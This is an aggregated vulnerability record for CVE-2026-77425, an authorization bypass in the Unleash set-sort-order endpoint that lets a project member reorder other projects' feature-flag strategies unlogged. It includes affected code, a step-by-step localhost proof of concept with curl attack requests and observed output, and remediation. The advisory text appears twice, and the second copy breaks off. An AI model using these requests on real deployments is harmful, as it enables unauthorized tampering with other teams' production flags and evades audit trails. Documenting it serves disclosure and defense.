{"id":"CVE-2026-77425","aliases":["EUVD-2026-84865","GHSA-5ffh-6f9q-5hhr"],"status":"published","title":"Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log","description":"Unleash is an open-source feature management platform. Prior to 8.0.3, POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order passes attacker-controlled strategy IDs to unprotectedUpdateStrategiesSortOrder and updateSortOrder without verifying that the IDs belong to the project, feature, and environment authorized by the URL. In a multi-project Pro or Enterprise deployment, an authenticated user with UPDATE_FEATURE_STRATEGY in one project who knows another project's strategy IDs can reorder those strategies, changing feature evaluation precedence while the operation is attributed to the attacker's URL context rather than the affected project. The single-project OSS edition lacks the cross-project dimension, although the missing context binding still permits unauthorized reordering across features or environments in the default project. The endpoint changes only sort_order and does not modify strategy parameters, constraints, or segments. This issue is fixed in version 8.0.3.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00325,"percentile":0.25761,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-639","CWE-863"],"published":"2026-09-22T20:28:58Z","modified":"2026-10-28T02:30:21Z","fixes":[{"ecosystem":"npm","package":"unleash-server","fixed_in":["8.0.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"unleash-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.3"}]}]},{"source":"osv","ecosystem":"npm","package":"unleash-server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.0.3"}]}]}],"products":[{"vendor":"unleash","product":"unleash"}],"references":[{"url":"https://github.com/Unleash/unleash/security/advisories/GHSA-5ffh-6f9q-5hhr","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Unleash/unleash/commit/43e8db37b846921c8a94db58b44935ecbd15d9d1","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Unleash/unleash/releases/tag/v8.0.3","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-5ffh-6f9q-5hhr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77425.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77425","tags":["advisory"]},{"url":"https://github.com/Unleash/unleash","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-77425","title":"Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log","description":"Unleash is an open-source feature management platform. Prior to 8.0.3, POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order passes attacker-controlled strategy IDs to unprotectedUpdateStrategiesSortOrder and updateSortOrder without verifying that the IDs belong to the project, feature, and environment authorized by the URL. In a multi-project Pro or Enterprise deployment, an authenticated user with UPDATE_FEATURE_STRATEGY in one project who knows another project's strategy IDs can reorder those strategies, changing feature evaluation precedence while the operation is attributed to the attacker's URL context rather than the affected project. The single-project OSS edition lacks the cross-project dimension, although the missing context binding still permits unauthorized reordering across features or environments in the default project. The endpoint changes only sort_order and does not modify strategy parameters, constraints, or segments. This issue is fixed in version 8.0.3.","status":"published","published":"2026-09-22T20:28:58.895Z","modified":"2026-09-23T13:09:43.847Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-639","CWE-863"],"updated_at":"2026-11-02T14:20:15.712761Z"}],"euvd":[{"id":"EUVD-2026-84865","description":"Unleash is an open-source feature management platform. Prior to 8.0.3, POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order passes attacker-controlled strategy IDs to unprotectedUpdateStrategiesSortOrder and updateSortOrder without verifying that the IDs belong to the project, feature, and environment authorized by the URL. In a multi-project Pro or Enterprise deployment, an authenticated user with UPDATE_FEATURE_STRATEGY in one project who knows another project's strategy IDs can reorder those strategies, changing feature evaluation precedence while the operation is attributed to the attacker's URL context rather than the affected project. The single-project OSS edition lacks the cross-project dimension, although the missing context binding still permits unauthorized reordering across features or environments in the default project. The endpoint changes only sort_order and does not modify strategy parameters, constraints, or segments. This issue is fixed in version 8.0.3.","status":"published","published":"2026-09-22T20:28:58Z","modified":"2026-09-23T13:09:43Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T17:28:01.283316Z"}],"ghsa":[{"id":"GHSA-5ffh-6f9q-5hhr","title":"Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log","description":"## Summary\n\nUnleash scopes write permissions per project and per environment: a user with the `UPDATE_FEATURE_STRATEGY` permission on project `A` is supposed to be able to mutate activation strategies only within project `A`. The endpoint `POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order` violates this. The RBAC middleware authorizes the request against the `:projectId` taken from the URL, but the handler then writes the strategy IDs supplied in the request *body* directly to the database by primary key, **without ever verifying that those strategy IDs actually belong to the URL's project / feature / environment**. A low-privilege member of any one project can therefore reorder the activation strategies of features in *any other project and environment* — including projects they have no role on at all — by putting their own project in the URL (to satisfy RBAC) and the victim project's strategy IDs in the body.\n\nThe sibling write paths in the same service (`updateStrategy`, `patchStrategy`, `deleteStrategy`) all call `validateUpdatedProperties()`, which rejects a strategy whose stored `projectId`/`featureName` does not match the URL context. The `set-sort-order` handler is the one sibling that omits this check — an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag's rollout/variant outcome, so an attacker can flip which strategy \"wins\" for another team's feature flag in production. As a secondary effect, the operation that mutates the victim's strategies is recorded (if at all) under the *attacker's* project/feature context, so the tampering does not appear in the victim project's audit trail.\n\n## Affected code (v8.0.0)\n\nThe route is registered with the project-scoped permission `UPDATE_FEATURE_STRATEGY` (correct), and the handler forwards the URL params as the \"context\" plus the raw request body:\n\n`src/lib/features/feature-toggle/feature-toggle-controller.ts`\n```ts\n{\n    method: 'post',\n    path: `${PATH_STRATEGIES}/set-sort-order`,\n    handler: this.setStrategiesSortOrder,\n    permission: UPDATE_FEATURE_STRATEGY,\n    // ...\n}\n\nasync setStrategiesSortOrder(req, res): Promise\u003cvoid\u003e {\n    const { featureName, projectId, environment } = req.params;\n    await this.transactionalFeatureToggleService.transactional((service) =\u003e\n        service.updateStrategiesSortOrder(\n            { featureName, environment, projectId },   // URL context only\n            req.body,                                   // attacker-controlled [{id, sortOrder}]\n            req.audit,\n        ),\n    );\n    res.status(200).send();\n}\n```\n\nThe service writes each body-supplied `id` directly. It reads the URL-context strategies only to build the audit-event payload (`existingOrder`/`newOrder`); it never validates that the IDs in `sortOrders` belong to that context:\n\n`src/lib/features/feature-toggle/feature-toggle-service.ts`\n```ts\nasync unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise\u003cSaved\u003cany\u003e\u003e {\n    const { featureName, environment, projectId: project } = context;\n    const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment))\n        .sort(sortStrategies).map((s) =\u003e s.id);\n    // ...\n    await Promise.all(\n        sortOrders.map(({ id, sortOrder }) =\u003e\n            this.featureStrategiesStore.updateSortOrder(id, sortOrder),   // NO project/feature/env check\n        ),\n    );\n    // ...event built from the URL context, not from the strategies actually mutated...\n}\n```\n\nThe store updates by primary key with no scoping predicate:\n\n`src/lib/features/feature-toggle/feature-toggle-strategies-store.ts`\n```ts\nasync updateSortOrder(id: string, sortOrder: number): Promise\u003cvoid\u003e {\n    await this.db\u003cIFeatureStrategiesTable\u003e(T.featureStrategies)\n        .where({ id })\n        .update({ sort_order: sortOrder });\n}\n```\n\nContrast the sibling mutators, which DO bind the target strategy to the URL context (`validateUpdatedProperties` throws `InvalidOperationError` when `existingStrategy.projectId !== projectId` or `existingStrategy.featureName !== featureName`):\n\n```ts\n// unprotectedUpdateStrategy / patchStrategy / deleteStrategy:\nconst existingStrategy = await this.featureStrategiesStore.get(id);\nthis.validateUpdatedProperties(context, existingStrategy);   // \u003c-- the check set-sort-order is missing\n```\n\n## Attacker model / precondition\n\nThe attacker is an authenticated Unleash user who holds the `UPDATE_FEATURE_STRATEGY` permission on at least one project — i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single `default` project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within `default`). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the `stopWhenChangeRequestsEnabled` gate is evaluated against the attacker's own URL project, not the victim's, and Change Requests are off by default. The integrity impact is bounded to the `sort_order` column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.\n\n## Impact\n\nA project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag's served value/variant, reordering can change a production flag's rollout behaviour for another team — e.g. promoting a permissive `flexibleRollout`/`default` strategy ahead of a restrictive `userWithId`/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker's URL context rather than the victim feature, so the change is absent from the victim project's audit/event history (in the lab the successful cross-project write produced no `feature-strategy-update` event for the victim feature at all), hampering detection and forensics.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab only. Everything binds to `127.0.0.1`; no hosted instance is touched. Requires Docker.\n\n### 1. Start PostgreSQL and Unleash v8.0.0\n\n```bash\ndocker network create unleash-poc\n\ndocker run -d --name unleash-pg --network unleash-poc \\\n  -e POSTGRES_DB=unleash -e POSTGRES_USER=unleash -e POSTGRES_PASSWORD=unleash \\\n  postgres:16-alpine\nsleep 8\n\ndocker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \\\n  -e DATABASE_HOST=unleash-pg -e DATABASE_NAME=unleash \\\n  -e DATABASE_USERNAME=unleash -e DATABASE_PASSWORD=unleash -e DATABASE_SSL=false \\\n  -e INIT_ADMIN_API_TOKENS='*:*.unleash-insecure-admin-api-token' \\\n  unleashorg/unleash-server:8.0.0\nsleep 25\ncurl -s http://127.0.0.1:4242/health    # {\"health\":\"GOOD\"}\n```\n\n### 2. Simulate a Pro/Enterprise (multi-project) deployment\n\nPer-project roles and \u003e1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the `default` project via an unrelated edition gate (`resolveIsOss`). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable `set-sort-order` code path). On a real Pro/Enterprise instance this step is unnecessary — multiple projects already exist.\n\n```bash\n# Force resolveIsOss() to return false (== \"this is a Pro/Enterprise deployment\").\ndocker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js\npython3 - \u003c\u003c'PY'\ns=open('/tmp/cc.js').read()\nold=\"\"\"    return testEnvironmentActive\n        ? (isOssOption ?? false)\n        : !isEnterprise \u0026\u0026 uiEnvironment?.toLowerCase() !== 'pro';\"\"\"\nassert old in s\ns=s.replace(old,\"    return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)\")\nopen('/tmp/cc.js','w').write(s)\nprint(\"patched edition gate\")\nPY\ndocker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js\ndocker restart unleash-srv \u0026\u0026 sleep 22\n```\n\n### 3. Seed two projects (`victim`, `attacker`) and link them to environments\n\n```bash\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');\"\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO project_environments (project_id, environment_name) VALUES\n   ('victim','development'),('victim','production'),\n   ('attacker','development'),('attacker','production');\"\n```\n\n### 4. Create the victim feature with two strategies, and an attacker feature\n\n```bash\nB=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'\nH=\"-H Authorization:$ADMIN -H Content-Type:application/json\"\n\ncurl -s -X POST $H $B/api/admin/projects/victim/features -d '{\"name\":\"victimFlag\",\"type\":\"release\"}' \u003e/dev/null\nS1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n       -d '{\"name\":\"flexibleRollout\",\"parameters\":{\"rollout\":\"10\",\"stickiness\":\"default\",\"groupId\":\"victimFlag\"}}' \\\n     | python3 -c \"import sys,json;print(json.load(sys.stdin)['id'])\")\nS2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n       -d '{\"name\":\"default\",\"parameters\":{}}' \\\n     | python3 -c \"import sys,json;print(json.load(sys.stdin)['id'])\")\necho \"victim strategies: S1=$S1 (sort 0)  S2=$S2 (sort 1)\"\n\ncurl -s -X POST $H $B/api/admin/projects/attacker/features -d '{\"name\":\"attackerFlag\",\"type\":\"release\"}' \u003e/dev/null\ncurl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \\\n     -d '{\"name\":\"default\",\"parameters\":{}}' \u003e/dev/null\n```\n\n### 5. Create a low-privilege attacker user (`Member` of `attacker` ONLY, no role on `victim`)\n\n```bash\n# Viewer root role (id 3) -\u003e no project write anywhere by default.\ncurl -s -X POST $H $B/api/admin/user-admin \\\n  -d '{\"email\":\"mallory@example.com\",\"name\":\"Mallory\",\"rootRole\":3}' \u003e/dev/null\ncurl -s -X POST $H $B/api/admin/user-admin/2/change-password \\\n  -d '{\"password\":\"Str0ng-PoC-pass!9x\"}' \u003e/dev/null\n\n# Grant the project \"Member\" role (id 5, includes UPDATE_FEATURE_STRATEGY) on 'attacker' only.\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, 'attacker');\"\ndocker restart unleash-srv \u0026\u0026 sleep 22     # pick up the seeded role\n```\n\n### 6. Run the attack\n\n```bash\nB=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'\nCJ=/tmp/mallory.cookies; rm -f $CJ\n\n# Log in as the low-priv user (Member of 'attacker' only).\ncurl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \\\n  $B/auth/simple/login -d '{\"username\":\"mallory@example.com\",\"password\":\"Str0ng-PoC-pass!9x\"}'\n\nshow() { curl -s -H \"Authorization:$ADMIN\" \\\n  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n  | python3 -c \"import sys,json;[print('   ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]\"; }\n\necho '--- victim/production BEFORE ---'; show\n\necho '--- [negative control] Mallory -\u003e VICTIM url directly (expect 403) ---'\ncurl -s -o /dev/null -w '    HTTP %{http_code}\\n' -b $CJ -X POST -H 'Content-Type: application/json' \\\n  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \\\n  -d \"[{\\\"id\\\":\\\"$S1\\\",\\\"sortOrder\\\":99}]\"\n\necho '--- [attack] Mallory -\u003e ATTACKER url, body = VICTIM strategy ids (expect 200) ---'\ncurl -s -o /dev/null -w '    HTTP %{http_code}\\n' -b $CJ -X POST -H 'Content-Type: application/json' \\\n  $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \\\n  -d \"[{\\\"id\\\":\\\"$S1\\\",\\\"sortOrder\\\":42},{\\\"id\\\":\\\"$S2\\\",\\\"sortOrder\\\":7}]\"\n\necho '--- victim/production AFTER ---'; show\n```\n\n### Observed output\n\n```\n--- victim/production BEFORE ---\n    01KTYWRZM7ACCTQKPJJCXJB24R sort 0\n    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1\n--- [negative control] Mallory -\u003e VICTIM url directly (expect 403) ---\n    HTTP 403\n--- [attack] Mallory -\u003e ATTACKER url, body = VICTIM strategy ids (expect 200) ---\n    HTTP 200\n--- victim/production AFTER ---\n    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7\n    01KTYWRZM7ACCTQKPJJCXJB24R sort 42\n```\n\nThe negative control proves RBAC correctly denies Mallory a *direct* write to `victim` (403). The attack proves that by naming her own `attacker` project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped) — a write to a project she has no role on. A check of the events table after the attack shows no `feature-strategy-update` event was recorded for `victimFlag`, so the tampering is absent from the victim's audit trail.\n\n### Cleanup\n\n```bash\ndocker rm -f unleash-srv unleash-pg; docker network rm unleash-poc\n```\n\n## Remediation\n\nIn `unprotectedUpdateStrategiesSortOrder`, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing `validateUpdatedProperties(context, strategy)` guard (the same one `updateStrategy`/`patchStrategy`/`deleteStrategy` already use) so a mismatched `projectId`/`featureName` throws; or (2) reject any `sortOrders` entry whose ID is not present in `existingOrder` (the set of strategy IDs that genuinely belong to `{project, featureName, environment}`), which the function already computes. Additionally, scope the store write — `updateSortOrder` should constrain the `UPDATE` with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.\n\nPlease credit 5ud0 / Tarmo Technologies.","status":"published","published":"2026-09-22T20:36:39Z","modified":"2026-09-22T20:36:41Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-639","CWE-863"],"updated_at":"2026-11-02T14:41:20.575159Z"}],"nvd":[{"id":"CVE-2026-77425","description":"Unleash is an open-source feature management platform. Prior to 8.0.3, POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order passes attacker-controlled strategy IDs to unprotectedUpdateStrategiesSortOrder and updateSortOrder without verifying that the IDs belong to the project, feature, and environment authorized by the URL. In a multi-project Pro or Enterprise deployment, an authenticated user with UPDATE_FEATURE_STRATEGY in one project who knows another project's strategy IDs can reorder those strategies, changing feature evaluation precedence while the operation is attributed to the attacker's URL context rather than the affected project. The single-project OSS edition lacks the cross-project dimension, although the missing context binding still permits unauthorized reordering across features or environments in the default project. The endpoint changes only sort_order and does not modify strategy parameters, constraints, or segments. This issue is fixed in version 8.0.3.","status":"published","published":"2026-09-22T21:17:32.177Z","modified":"2026-09-23T18:12:04.247Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-639","CWE-863"],"updated_at":"2026-11-02T14:12:50.703874Z"}],"osv":[{"id":"CVE-2026-77425","title":"Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log","description":"Unleash is an open-source feature management platform. Prior to 8.0.3, POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order passes attacker-controlled strategy IDs to unprotectedUpdateStrategiesSortOrder and updateSortOrder without verifying that the IDs belong to the project, feature, and environment authorized by the URL. In a multi-project Pro or Enterprise deployment, an authenticated user with UPDATE_FEATURE_STRATEGY in one project who knows another project's strategy IDs can reorder those strategies, changing feature evaluation precedence while the operation is attributed to the attacker's URL context rather than the affected project. The single-project OSS edition lacks the cross-project dimension, although the missing context binding still permits unauthorized reordering across features or environments in the default project. The endpoint changes only sort_order and does not modify strategy parameters, constraints, or segments. This issue is fixed in version 8.0.3.","status":"published","published":"2026-09-22T20:28:58.895Z","modified":"2026-10-28T02:30:21.401301042Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-639","CWE-863"],"updated_at":"2026-11-02T15:45:17.102988Z"},{"id":"GHSA-5ffh-6f9q-5hhr","title":"Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log","description":"## Summary\n\nUnleash scopes write permissions per project and per environment: a user with the `UPDATE_FEATURE_STRATEGY` permission on project `A` is supposed to be able to mutate activation strategies only within project `A`. The endpoint `POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order` violates this. The RBAC middleware authorizes the request against the `:projectId` taken from the URL, but the handler then writes the strategy IDs supplied in the request *body* directly to the database by primary key, **without ever verifying that those strategy IDs actually belong to the URL's project / feature / environment**. A low-privilege member of any one project can therefore reorder the activation strategies of features in *any other project and environment* — including projects they have no role on at all — by putting their own project in the URL (to satisfy RBAC) and the victim project's strategy IDs in the body.\n\nThe sibling write paths in the same service (`updateStrategy`, `patchStrategy`, `deleteStrategy`) all call `validateUpdatedProperties()`, which rejects a strategy whose stored `projectId`/`featureName` does not match the URL context. The `set-sort-order` handler is the one sibling that omits this check — an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag's rollout/variant outcome, so an attacker can flip which strategy \"wins\" for another team's feature flag in production. As a secondary effect, the operation that mutates the victim's strategies is recorded (if at all) under the *attacker's* project/feature context, so the tampering does not appear in the victim project's audit trail.\n\n## Affected code (v8.0.0)\n\nThe route is registered with the project-scoped permission `UPDATE_FEATURE_STRATEGY` (correct), and the handler forwards the URL params as the \"context\" plus the raw request body:\n\n`src/lib/features/feature-toggle/feature-toggle-controller.ts`\n```ts\n{\n    method: 'post',\n    path: `${PATH_STRATEGIES}/set-sort-order`,\n    handler: this.setStrategiesSortOrder,\n    permission: UPDATE_FEATURE_STRATEGY,\n    // ...\n}\n\nasync setStrategiesSortOrder(req, res): Promise\u003cvoid\u003e {\n    const { featureName, projectId, environment } = req.params;\n    await this.transactionalFeatureToggleService.transactional((service) =\u003e\n        service.updateStrategiesSortOrder(\n            { featureName, environment, projectId },   // URL context only\n            req.body,                                   // attacker-controlled [{id, sortOrder}]\n            req.audit,\n        ),\n    );\n    res.status(200).send();\n}\n```\n\nThe service writes each body-supplied `id` directly. It reads the URL-context strategies only to build the audit-event payload (`existingOrder`/`newOrder`); it never validates that the IDs in `sortOrders` belong to that context:\n\n`src/lib/features/feature-toggle/feature-toggle-service.ts`\n```ts\nasync unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise\u003cSaved\u003cany\u003e\u003e {\n    const { featureName, environment, projectId: project } = context;\n    const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment))\n        .sort(sortStrategies).map((s) =\u003e s.id);\n    // ...\n    await Promise.all(\n        sortOrders.map(({ id, sortOrder }) =\u003e\n            this.featureStrategiesStore.updateSortOrder(id, sortOrder),   // NO project/feature/env check\n        ),\n    );\n    // ...event built from the URL context, not from the strategies actually mutated...\n}\n```\n\nThe store updates by primary key with no scoping predicate:\n\n`src/lib/features/feature-toggle/feature-toggle-strategies-store.ts`\n```ts\nasync updateSortOrder(id: string, sortOrder: number): Promise\u003cvoid\u003e {\n    await this.db\u003cIFeatureStrategiesTable\u003e(T.featureStrategies)\n        .where({ id })\n        .update({ sort_order: sortOrder });\n}\n```\n\nContrast the sibling mutators, which DO bind the target strategy to the URL context (`validateUpdatedProperties` throws `InvalidOperationError` when `existingStrategy.projectId !== projectId` or `existingStrategy.featureName !== featureName`):\n\n```ts\n// unprotectedUpdateStrategy / patchStrategy / deleteStrategy:\nconst existingStrategy = await this.featureStrategiesStore.get(id);\nthis.validateUpdatedProperties(context, existingStrategy);   // \u003c-- the check set-sort-order is missing\n```\n\n## Attacker model / precondition\n\nThe attacker is an authenticated Unleash user who holds the `UPDATE_FEATURE_STRATEGY` permission on at least one project — i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single `default` project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within `default`). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the `stopWhenChangeRequestsEnabled` gate is evaluated against the attacker's own URL project, not the victim's, and Change Requests are off by default. The integrity impact is bounded to the `sort_order` column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.\n\n## Impact\n\nA project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag's served value/variant, reordering can change a production flag's rollout behaviour for another team — e.g. promoting a permissive `flexibleRollout`/`default` strategy ahead of a restrictive `userWithId`/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker's URL context rather than the victim feature, so the change is absent from the victim project's audit/event history (in the lab the successful cross-project write produced no `feature-strategy-update` event for the victim feature at all), hampering detection and forensics.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab only. Everything binds to `127.0.0.1`; no hosted instance is touched. Requires Docker.\n\n### 1. Start PostgreSQL and Unleash v8.0.0\n\n```bash\ndocker network create unleash-poc\n\ndocker run -d --name unleash-pg --network unleash-poc \\\n  -e POSTGRES_DB=unleash -e POSTGRES_USER=unleash -e POSTGRES_PASSWORD=unleash \\\n  postgres:16-alpine\nsleep 8\n\ndocker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \\\n  -e DATABASE_HOST=unleash-pg -e DATABASE_NAME=unleash \\\n  -e DATABASE_USERNAME=unleash -e DATABASE_PASSWORD=unleash -e DATABASE_SSL=false \\\n  -e INIT_ADMIN_API_TOKENS='*:*.unleash-insecure-admin-api-token' \\\n  unleashorg/unleash-server:8.0.0\nsleep 25\ncurl -s http://127.0.0.1:4242/health    # {\"health\":\"GOOD\"}\n```\n\n### 2. Simulate a Pro/Enterprise (multi-project) deployment\n\nPer-project roles and \u003e1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the `default` project via an unrelated edition gate (`resolveIsOss`). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable `set-sort-order` code path). On a real Pro/Enterprise instance this step is unnecessary — multiple projects already exist.\n\n```bash\n# Force resolveIsOss() to return false (== \"this is a Pro/Enterprise deployment\").\ndocker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js\npython3 - \u003c\u003c'PY'\ns=open('/tmp/cc.js').read()\nold=\"\"\"    return testEnvironmentActive\n        ? (isOssOption ?? false)\n        : !isEnterprise \u0026\u0026 uiEnvironment?.toLowerCase() !== 'pro';\"\"\"\nassert old in s\ns=s.replace(old,\"    return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)\")\nopen('/tmp/cc.js','w').write(s)\nprint(\"patched edition gate\")\nPY\ndocker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js\ndocker restart unleash-srv \u0026\u0026 sleep 22\n```\n\n### 3. Seed two projects (`victim`, `attacker`) and link them to environments\n\n```bash\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');\"\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO project_environments (project_id, environment_name) VALUES\n   ('victim','development'),('victim','production'),\n   ('attacker','development'),('attacker','production');\"\n```\n\n### 4. Create the victim feature with two strategies, and an attacker feature\n\n```bash\nB=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'\nH=\"-H Authorization:$ADMIN -H Content-Type:application/json\"\n\ncurl -s -X POST $H $B/api/admin/projects/victim/features -d '{\"name\":\"victimFlag\",\"type\":\"release\"}' \u003e/dev/null\nS1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n       -d '{\"name\":\"flexibleRollout\",\"parameters\":{\"rollout\":\"10\",\"stickiness\":\"default\",\"groupId\":\"victimFlag\"}}' \\\n     | python3 -c \"import sys,json;print(json.load(sys.stdin)['id'])\")\nS2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n       -d '{\"name\":\"default\",\"parameters\":{}}' \\\n     | python3 -c \"import sys,json;print(json.load(sys.stdin)['id'])\")\necho \"victim strategies: S1=$S1 (sort 0)  S2=$S2 (sort 1)\"\n\ncurl -s -X POST $H $B/api/admin/projects/attacker/features -d '{\"name\":\"attackerFlag\",\"type\":\"release\"}' \u003e/dev/null\ncurl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \\\n     -d '{\"name\":\"default\",\"parameters\":{}}' \u003e/dev/null\n```\n\n### 5. Create a low-privilege attacker user (`Member` of `attacker` ONLY, no role on `victim`)\n\n```bash\n# Viewer root role (id 3) -\u003e no project write anywhere by default.\ncurl -s -X POST $H $B/api/admin/user-admin \\\n  -d '{\"email\":\"mallory@example.com\",\"name\":\"Mallory\",\"rootRole\":3}' \u003e/dev/null\ncurl -s -X POST $H $B/api/admin/user-admin/2/change-password \\\n  -d '{\"password\":\"Str0ng-PoC-pass!9x\"}' \u003e/dev/null\n\n# Grant the project \"Member\" role (id 5, includes UPDATE_FEATURE_STRATEGY) on 'attacker' 